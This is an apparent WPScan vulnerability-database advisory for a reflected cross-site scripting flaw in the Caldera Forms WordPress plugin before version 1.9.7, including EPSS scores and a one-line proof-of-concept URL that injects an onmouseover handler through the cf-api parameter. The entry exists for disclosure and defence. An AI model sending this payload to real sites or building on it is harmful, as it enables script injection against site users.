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wpvulndbKrzysztof ZającWPVDB-ID:C12F6087-1875-4EDF-AC32-BEC6F712968D
HistoryMar 28, 2022 - 12:00 a.m.

Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

2022-03-2800:00:00
Krzysztof Zając
wpscan.com
14
caldera forms
reflected cross-site scripting
vulnerability
parameter validation

EPSS

0.001

Percentile

40.2%

The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting

PoC

The issue is only exploitable when there are no forms created yet https://example.com/?cf-api=" style=position:fixed;left:0;top:0;right:0;bottom:0; onmouseover=alert(1) x

EPSS

0.001

Percentile

40.2%

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